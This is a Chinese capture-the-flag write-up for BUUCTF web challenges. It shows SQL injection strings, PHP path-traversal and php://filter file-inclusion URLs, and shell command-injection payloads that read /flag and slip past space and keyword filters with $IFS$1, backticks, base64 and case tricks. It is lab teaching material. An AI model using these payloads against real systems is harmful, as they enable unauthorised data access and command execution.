BUUCTF題目Web部分wp(持續更新)

關于SQL注入的一些通用辦法

可以訪問哪些表

如有權限,查詢當前用戶可以訪問的所有表

--Oracle查詢當前用戶可訪問的所有表
select owner, table_name from all_tables order by table_name;
--MySQL查詢用戶可訪問的所有數據庫和表
select table_schema, table_name from information_schema.tables;
--MySQL使用系統表查詢所有可訪問的表
select name from sysobjects where xtype = 'U';
--MSSQL使用目錄視圖查詢可訪問的表
select name from sys.tables;

GET請求

GET請求在URL里發送參數的格式是 ?parameter1=value1&parameter2=value2&parameter3=value3……。在瀏覽器導航欄中直接修改就可以操縱這些參數。

POST請求

與GET請求類似,但是POST請求的參數位于請求的底部,需要借助工具來查看和修改,比如使用Burpsuite。

[極客大挑戰 2019]EasySQL1【sql注入】

靶機啟動后,填寫username和password,登錄的地址為http://url.to.target/check.php?username=admin&password=pass+word,注意post過去空格變成了加號。

http://url.to.target/
http://url.to.target/check.php?
username=admin&password=pass+word

/* 動態sql
"select * from tab where username='" + $username + 
"' and password='" + $password + "'"
*/
select * from tab 
where username='admin' and password='pass'

這是最簡單的SQL注入,不管是在username還算在password上下功夫均可。 構造不正常的sql,使or 1=1恒成立,后面用#注釋。或者讓最后一個表達式or '1'='1'恒成立。得到flag為flag{4080d180-d289-43db-91ed-094ac7487e91}

from urllib.parse import quote,unquote
"""
構造不正常的sql
select * from tab 
where username='' or 1=1 #' and password='pass'
select * from tab 
where username='admin' and password='' or '1'='1'
"""
for m in ('\'', ' ', '#', '='):c = quote(m)print(f'{m} = {c}')print(quote(r"' or 1=1 #"))  # username=%27+or+1%3D1+%23
print(quote(r"' or '1'='1")) # password=%27+or+%271%27%3D%271
username=%27+or+1%3D1+%23
&
password=123
username=admin
&
password=%27+or+%271%27%3D%271

[極客大挑戰 2019]Havefun1【代碼審計】

頁面按下F12,發現提示$cat=='dog'。那么post過去一個http://url.to.target/?cat=dog,得到flag為

flag{80a408c6-2602-472d-966b-eb09d00dc293}

$cat=='dog'
?cat=dog

[HCTF 2018]WarmUp1【php,代碼審計】

Web界面只看到一張大黃臉。根據“代碼審計”提示按下F12,可以看到提示source.php。訪問source.php,看到代碼,有新提示source.php和hint.php在白名單列表。訪問hint.php,看到flag not here, and flag in ffffllllaaaagggg。

http://url.to.target/
http://url.to.target/source.php

http://url.to.target/hint.php

看一下source.php的代碼。發現提交參數是file,且file不為空、是字符串、并通過emmm:checkFile檢查。這個函數經過3次檢查

  1. 先檢查參數是否在白名單里,白名單為source.php和hint.php。
  2. 如果file的值仍有參數,那么取“?”前面的內容,檢查是否在白名單里。
  3. 如果file的值仍有參數,值url解碼,取“?”前面的內容,檢查是否在白名單里。

雖然“?”前的字符串在白名單里,但是“?”后面的字符串可以被利用,目錄穿越到其他目錄,嘗試有無 ffffllllaaaagggg 文件,向上穿越4層父目錄有這個文件,得到flag。

 <?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"];if (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}if (in_array($page, $whitelist)) {return true;}$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}}if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}  
?>

構造注入的參數 ?file=source.php?/../../../../ffffllllaaaagggg。符合第二個白名單檢查。

http://url.to.target/?file=source.php?/../../../../ffffllllaaaagggg?

或者 ?file=hint.php%253F/../../../../ffffllllaaaagggg。這里%253F被瀏覽器解碼一次得到%3F,%3F再被urldecode一次得到“?”,這樣就符合第三個白名單檢查。

http://url.to.target/?file=hint.php%253F/../../../../ffffllllaaaagggg

[ACTF2020 新生賽]Include1【php,include漏洞】

界面有一個鏈接tips,GET方法傳遞參數file值為flag.php。題目叫Include,考慮include漏洞。

http://url.to.target/

http://url.to.target/?file=flag.php

PHP的Include漏洞在文件包含漏洞(include)-學習筆記_include_filter漏洞_小龍在山東的博客-CSDN博客簡介服務器執行PHP文件時,可以通過文件包含函數加載另一個文件中的PHP代碼,并且當PHP來執行,這會為開發者節省大量的時間。這意味著您可以創建供所有網頁引用的標準頁眉或菜單文件。當頁眉需要更新時,您只更新一個包含文件就可以了,或者當您向網站添加一張新頁面時,僅僅需要修改一下菜單文件(而不是更新所有網頁中的鏈接)。PHP Stream(流)屬性支持受限于 allow_url_fopenNO受限于allow_url_include僅 php://input、 php://s_include_filter漏洞https://blog.csdn.net/lilongsy/article/details/108146107里面已經說的很明白了。使用讀取php源代碼方法,/?file=php://filter/read=convert.base64-encode/resource=flag.php,得到base64編碼,再轉換為flag即可。

http://url.to.target/?file=php://filter/read/convert.base64-encode/resource=flag.php

<?php
echo "Can you find out the flag?";
//flag{a8f11f6d-a98b-4220-9cd8-f073cfc1c469}

[ACTF2020 新生賽]Exec1【構造payload執行shell命令】

界面標題command execution,推測是執行shell命令。F12查看,提交form只有一個參數target,那么執行ping的命令應該是拼接出來的動態命令。注意shell命令,用“;”、“&”、“|”等符號分割,可以在一行命令上執行多個命令。

http://url.to.flag/
$cmd = "ping" + $target
# target=weibo.com;ls /
$cmd = "ping weibo.com;ls /"

?嘗試填入 weibo.com;ls / ,看到根目錄下有flag文件。再填入weibo.com;cat /flag,得到flag。

ping weibo.com;ls /
ping weibo.com;cat /flag

[GXYCTF2019]Ping Ping Ping1【shell、$IFS$1繞開空格、繞開字母等字符】

界面上有/?ip=的提示,嘗試構造payload,/?ip=qq.com;ls,看到flag.php和index.php

http://url.to.flag/?ip=qq.com;ls

嘗試構造payload查看flag.php的內容,/?ip=qq.com;cat flag.php,看到fxck your space!看來是過濾了空格。

http://url.to.flag/?ip=qq.com;cat flag.php

嘗試構造payload不輸入空格查看flag.php內容這里有幾種方法 ${IFS} 、$IFS$1 、%20 、%09 、+ 、< 、<> 等。這里$IFS$1可行,payload為 /?ip=qq.com;cat$IFS$1flag.php,看到fxck your flag!看來是過濾了flag。

http://url.to.flag/?ip=qq.com;cat$IFS$1flag.php

嘗試構造payload查看index.php,/?ip=qq.com;cat$IFS$1index.php,看到代碼中過濾了斜線、反斜線、引號、括號、空格、bash、flag等一系列字符(串)。那么就考慮不出現這些字符串怎么訪問。

http://url.to.flag/?ip=qq.com;cat$IFS$1index.php

嘗試構造payload,/?ip=qq.com;ls|xargs$IFS$1cat,也就是執行 ls|xargs cat,回顯所有列出文件的內容,再按F12看代碼得到flag。

http://url.to.flag/?ip=qq.com;ls|xargs$IFS$1cat

同理構造payload,/?ip=qq.com;cat$IFS$1`ls`,也就是執行 cat `ls`,回顯所有列出文件的內容,再按F12看代碼得到flag。不同的是,shell中將反引號內命令的輸出作為輸入執行,即內聯執行。

http://url.to.flag/?ip=qq.com;cat$IFS$1`ls`

嘗試構造payload,/?ip=qq.com;echo$IFS$1FLAG.PHP|tr$IFS$1A-Z$IFS$1a-z|xargs$IFS$1cat,也就是執行 echo FLAG.PHP|tr A-Z a-z|xargs cat,回顯flag.php內容,再按F12看代碼得到flag。正則表達式只匹配了小寫的flag,我們就輸入大寫的FLAG.PHP,用tr命令轉為小寫,再執行cat。

http://url.to.flag/?ip=qq.com;echo$IFS$1FLAG.PHP|tr$IFS$1A-Z$IFS$1a-z|xargs$IFS$1cat

嘗試構造payload,/?ip=qq.com;echo$IFS$1ZmxhZy5waHA=|base64$IFS$1-d|xargs$IFS$1cat,也就是執行 echo ZmxhZy5waHA=|base64 -d|xargs cat,回顯flag.php內容,再按F12看代碼得到flag。輸入flag.php的base64編碼,再解碼,再執行cat。

http://url.to.flag/?ip=qq.com;echo$IFS$1ZmxhZy5waHA=|base64$IFS$1-d|xargs$IFS$1cat

嘗試構造payload,/?ip=qq.com;x=g;cat$IFS$1fla$x.php。利用正則表達式的漏洞,flag的最后一個字母g可以替換,也能打到目的。

http://url.to.flag/?ip=qq.com;x=g;cat$IFS$1fla$x.php

[強網杯 2019]隨便注1

既然隨便注,那么先嘗試一下萬能密碼。果然可以。

--"select * from tab where id='" + $inject + "'"
--/?inject='or'1'='1
select * from tab where id=''or'1'='1'
http://url.to.flag/?inject='or'1'='1

嘗試只輸入一個單引號“'”,看報錯是mysql數據庫。

http://url.to.flag/?inject='

嘗試使用union all 聯查Information.schema時候,發現正則表達式過濾了select、update、delete、drop、insert、where等關鍵字。

http://url.to.flag/?inject='or'1'='1' union all select * from Information_schema.tables or'1'='1

Next

http://url.to.flag/

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/35377.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/35377.shtml
英文地址,請注明出處:http://en.pswp.cn/news/35377.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

爬蟲017_urllib庫_get請求的quote方法_urlencode方法_---python工作筆記036

按行來看get請求方式 比如這個地址 上面這個地址復制粘貼過來以后 可以看到周杰倫變成了一堆的Unicode編碼了 所以這個時候我們看,我們說https這里,用了UA反爬,所以這里 我們構建一個自定義的Request對象,里面要包含Us

電腦mfc140u.dll丟失的怎么辦呢?這個方法親測可以解決

修復mfc140u.dll是我最近遇到的一個技術問題&#xff0c;雖然在解決過程中遇到了一些困難&#xff0c;但最終的成功修復讓我對技術的力量有了更深的體會。 首先&#xff0c;我想談談遇到問題時的困惑。當我嘗試運行一個應用程序時&#xff0c;突然彈出一個錯誤提示&#xff0c;…

Docker Dirtypipe(CVE-2022-0847)漏洞復現與分析容器逃逸

安裝環境 ./metarget cnv install cve-2022-0847 --verbose 原理 同臟牛&#xff0c;通過寫只讀內存&#xff0c;對映射的內存做篡改 EXP docker run --rm -it -v $(pwd):/exp --cap-addCAP_DAC_READ_SEARCH ubuntu如果提示 Unknown capability to add: "CAP_CAP_DAC_RE…

第五十二天

HTML5 ●MathML 是數學標記語言&#xff0c;是一種基于XML&#xff08;標準通用標記語言的子集&#xff09;的標準&#xff0c;用來在互聯網上書寫數學符號和公式的置標語言。 ●拖放 拖放是一種常見的特性&#xff0c;即抓取對象以后拖到另一個位置。 在 HTML5 中&#xf…

YAMLException: java.nio.charset.MalformedInputException: Input length = 1

springboot項目啟動的時候提示這個錯誤&#xff1a;YAMLException: java.nio.charset.MalformedInputException: Input length 1 根據異常信息提示&#xff0c;是YAML文件有問題。 原因是yml配置文件的編碼有問題。 需要修改項目的編碼格式&#xff0c;一般統一為UTF-8。 或…

分別用python和go語言來實現的風靡一時的2048 游戲,包含完整代碼

目錄 1、Python實現2、Go實現 2048 游戲實現主要包括以下幾個步驟&#xff1a; 創建一個棋盤&#xff0c;通常使用二維列表表示。實現棋子的移動規則&#xff0c;左移、右移、上移、下移。判斷游戲是否結束&#xff0c;即棋盤是否已滿或者無空位可移動。實現游戲界面的顯示。 …

【Android】ViewBinding+DataBinding+MVVM新手快速上手

為什么寫這篇博客 網上大部分博客&#xff0c;代碼量都比較大&#xff0c;把實際的業務都代入進去了 這篇博客的目的&#xff0c;就是為了講解基本原理和使用思路&#xff0c;然后給出一個最簡單的Demo 這里不講解具體用法&#xff0c;那樣篇幅會太長&#xff0c;直接看Demo…

TENNECO EDI 項目——X12與XML之間的轉換

近期為了幫助廣大用戶更好地使用 EDI 系統&#xff0c;我們根據以往的項目實施經驗&#xff0c;將成熟的 EDI 項目進行開源。用戶安裝好知行之橋EDI系統之后&#xff0c;只需要下載我們整理好的示例代碼&#xff0c;并放置在知行之橋指定的工作區中&#xff0c;即可開始使用。 …

YOLOv5入門實踐(3)— 手把手教你如何去劃分數據集

前言&#xff1a;Hello大家好&#xff0c;我是小哥談。數據集標注完成之后&#xff0c;下一步就是對這些數據集進行劃分了。面對繁雜的數據集&#xff0c;如果手動劃分的話&#xff0c;不僅麻煩而且不能保持隨機性。本節課就給大家介紹一種方法&#xff0c;即使用代碼去劃分數據…

Xcode升級導致關聯庫報錯

想辦法找到對應的庫 然后到 Build Phases -- LinkBinary With Libraries中點擊&#xff0c;選擇對應的framework即可&#xff0c;就像我工程的報錯 Undefined symbol: _OBJC_CLASS_$_ADClient _OBJC_CLASS_$_ASIdentifierManager 缺失的庫是AdSupport.framework 添加后再次編…

Elasticsearch6.x和7.x的區別

Elasticsearch6.x和7.x的區別 1、查找方面的區別 在增刪改方面&#xff0c;6.x和7.x是一樣的&#xff0c;在查找方面&#xff08;分為普通查找和有高亮的查找&#xff09;&#xff0c;6.x和7.x有區別。 在7.x的es中&#xff1a; org.springframework.data.elasticsearch.cor…

Styled-components,另一種css in js的方案

介紹 Styled-components是一種流行的CSS-in-JS庫&#xff0c;它為React和React Native應用程序提供了一種優雅的方式來管理組件的樣式。它的設計理念是將CSS樣式與組件邏輯緊密綁定在一起&#xff0c;從而使樣式在組件層級中作用更加清晰和可維護 使用 安裝Styled-components…

【C語言】操作符詳解

目錄 一、算數操作符 二、移位操作符 1.左移操作符 2.右移操作符 (1) 邏輯右移 (2) 算術右移 (3)小總結 三、位操作符 四、賦值操作符 五、單目操作符 六、關系操作符 七、邏輯操作符 八、 條件操作符 九、逗號表達式 十、下標引用、函數調用和結構成員 1. [ ]下…

QT-如何使用RS232進行讀寫通訊

以下是一個使用Qt進行RS232通訊的具體示例&#xff0c;包括讀取和寫入數據的操作&#xff1a; #include <QCoreApplication> #include <QDebug> #include <QSerialPort> #include <QTimer>QSerialPort serial; // 串口對象void readData() {QByteArra…

GO學習之 微框架(Gin)

GO系列 1、GO學習之Hello World 2、GO學習之入門語法 3、GO學習之切片操作 4、GO學習之 Map 操作 5、GO學習之 結構體 操作 6、GO學習之 通道(Channel) 7、GO學習之 多線程(goroutine) 8、GO學習之 函數(Function) 9、GO學習之 接口(Interface) 10、GO學習之 網絡通信(Net/Htt…

UDS的DID(Data identification)

引言 DID是UDS中的一個重要概念&#xff0c;它代表著特定的數據標識符。DID用于標識和獲取ECU中的特定參數數據&#xff0c;如傳感器數據、狀態信息等。通過使用DID&#xff0c;診斷工具可以準確地獲取所需的數據&#xff0c;從而幫助診斷人員更好地了解車輛的狀態和性能。 D…

開發者必知:.gitignore 文件的魔法,助你管理項目文件如虎添翼!

前言&#xff1a; 在軟件開發的世界中&#xff0c;版本控制是一個至關重要的環節。而 Git 作為目前最流行的分布式版本控制系統之一&#xff0c;已經成為開發者不可或缺的工具。然而&#xff0c;在日常的開發過程中&#xff0c;有些文件是不適合被納入版本控制的&#xff0c;比…

leetcode242. 有效的字母異位詞

題目&#xff1a;leetcode242. 有效的字母異位詞 描述&#xff1a; 給定兩個字符串 s 和 t &#xff0c;編寫一個函數來判斷 t 是否是 s 的字母異位詞。 注意&#xff1a;若 s 和 t 中每個字符出現的次數都相同&#xff0c;則稱 s 和 t 互為字母異位詞。 示例 1: 輸入: s “…

【React | 前端】在React的前端頁面中,判斷某個變量值是否被定義?根據是否定義顯示不同的內容?

問題描述 在React的前端頁面中&#xff0c;判斷某個變量值是否被定義&#xff1f;根據是否定義顯示不同的內容&#xff1f; 問題場景 假如&#xff0c;現在有一個需求是設計一個新功能&#xff0c;新功能中要求新增一個之前沒有的變量&#xff0c;假設是計算某一個數組的長度…

基于Java+SpringBoot+Vue的數碼論壇系統設計與實現(源碼+LW+部署文檔等)

博主介紹&#xff1a; 大家好&#xff0c;我是一名在Java圈混跡十余年的程序員&#xff0c;精通Java編程語言&#xff0c;同時也熟練掌握微信小程序、Python和Android等技術&#xff0c;能夠為大家提供全方位的技術支持和交流。 我擅長在JavaWeb、SSH、SSM、SpringBoot等框架…